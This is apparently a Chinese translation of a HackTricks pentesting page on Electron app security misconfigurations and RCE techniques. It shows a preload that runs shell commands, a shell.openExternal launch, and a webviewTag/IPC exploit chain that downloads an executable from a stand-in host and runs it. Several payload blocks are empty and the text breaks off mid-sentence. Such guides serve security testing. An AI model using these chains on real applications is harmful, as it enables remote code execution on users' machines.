# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## 介绍
Electron结合了本地后端(使用**NodeJS**)和前端(**Chromium**),尽管它缺乏现代浏览器的一些安全机制。
通常,您可能会在`.asar`应用程序中找到electron应用代码,获取代码需要提取它:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
在Electron应用的源代码中,在`packet.json`文件内,可以找到指定的`main.js`文件,其中设置了安全配置。
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron 有 2 种进程类型:
- 主进程(完全访问 NodeJS)
- 渲染进程(出于安全原因,NodeJS 访问应受到限制)
.png>)
一个 **渲染进程** 将是一个加载文件的浏览器窗口:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process** 的设置可以在 **main process** 中的 main.js 文件中 **配置**。一些配置将 **防止 Electron 应用程序获取 RCE** 或其他漏洞,如果 **设置正确配置**。
Electron 应用程序 **可以通过 Node apis 访问设备**,尽管可以配置以防止它:
- **`nodeIntegration`** - 默认情况下为 `off`。如果开启,允许从 renderer process 访问 node 功能。
- **`contextIsolation`** - 默认情况下为 `on`。如果关闭,主进程和渲染进程不会隔离。
- **`preload`** - 默认情况下为空。
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认情况下为 off。它将限制 NodeJS 可以执行的操作。
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - 默认情况下为 `off`。
- 如果 **`nodeIntegration`** 被 **启用**,这将允许在 Electron 应用程序中 **加载在 iframes 中的网页** 使用 **Node.js APIs**。
- 如果 **`nodeIntegration`** 被 **禁用**,则预加载将在 iframe 中加载。
配置示例:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
一些 **RCE payloads** 来自 [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
Example Payloads (Linux & MacOS):
```
### 捕获流量
修改 start-main 配置并添加使用代理,例如:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron 本地代码注入
如果您可以本地执行一个 Electron 应用程序,那么您可能可以使其执行任意的 JavaScript 代码。查看如何操作:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 功能。例如,在 Windows 上执行计算器应用程序的方法是:
```html
```
## RCE: preload
在此设置中指示的脚本是在渲染器中**加载其他脚本之前**,因此它具有**对 Node API 的无限访问权限**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
因此,脚本可以将 node-features 导出到页面:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
```
> [!NOTE] > **如果 `contextIsolation` 开启,这将无法工作**
## RCE: XSS + contextIsolation
_**contextIsolation**_ 引入了 **网页脚本与 JavaScript Electron 内部代码之间的分离上下文**,使得每段代码的 JavaScript 执行不会相互影响。这是消除 RCE 可能性的必要特性。
如果上下文没有被隔离,攻击者可以:
1. 在渲染器中执行 **任意 JavaScript**(XSS 或导航到外部网站)
2. **覆盖内置方法**,该方法在预加载或 Electron 内部代码中被使用,替换为自己的函数
3. **触发** 使用 **被覆盖的函数**
4. RCE?
内置方法可以被覆盖的地方有两个:在预加载代码中或在 Electron 内部代码中:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### 绕过点击事件
如果在点击链接时应用了限制,你可能能够通过 **中间点击** 而不是常规的左键点击来绕过这些限制。
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
有关此示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已确定,**客户端远程代码执行 (RCE)** 针对预加载脚本或 Electron 的主进程本地代码在这些设置到位时有效防止。
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对应用程序的安全性和功能至关重要:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
这些监听器被**桌面应用程序重写**以实现其自己的**业务逻辑**。该应用程序评估导航链接是否应该在内部打开或在外部网页浏览器中打开。这个决定通常通过一个函数`openInternally`来做。如果这个函数返回`false`,则表示链接应该在外部打开,利用`shell.openExternal`函数。
**以下是简化的伪代码:**
.png>)
.png>)
Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容,因为这可能通过各种协议导致RCE。操作系统支持不同的协议,这些协议可能触发RCE。有关此主题的详细示例和进一步解释,可以参考[这个资源](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括能够利用此漏洞的Windows协议示例。
在macos中,`openExternal`函数可以被利用来执行任意命令,例如`shell.openExternal('file:///System/Applications/Calculator.app')`。
**Windows协议漏洞的示例包括:**
```html
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
此漏洞可以在 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。
**webviewTag** 是一个 **已弃用的特性**,允许在 **渲染进程** 中使用 **NodeJS**,应禁用此特性,因为它允许在预加载上下文中加载脚本,如:
```xml
```
因此,成功加载任意页面的攻击者可以使用该标签来**加载任意预加载脚本**。
然后,该预加载脚本被滥用以调用**易受攻击的IPC服务(`skype-new-window`)**,该服务调用**`shell.openExternal`**以获取RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## 读取内部文件:XSS + contextIsolation
**禁用 `contextIsolation` 使得可以使用 `` 标签**,类似于 `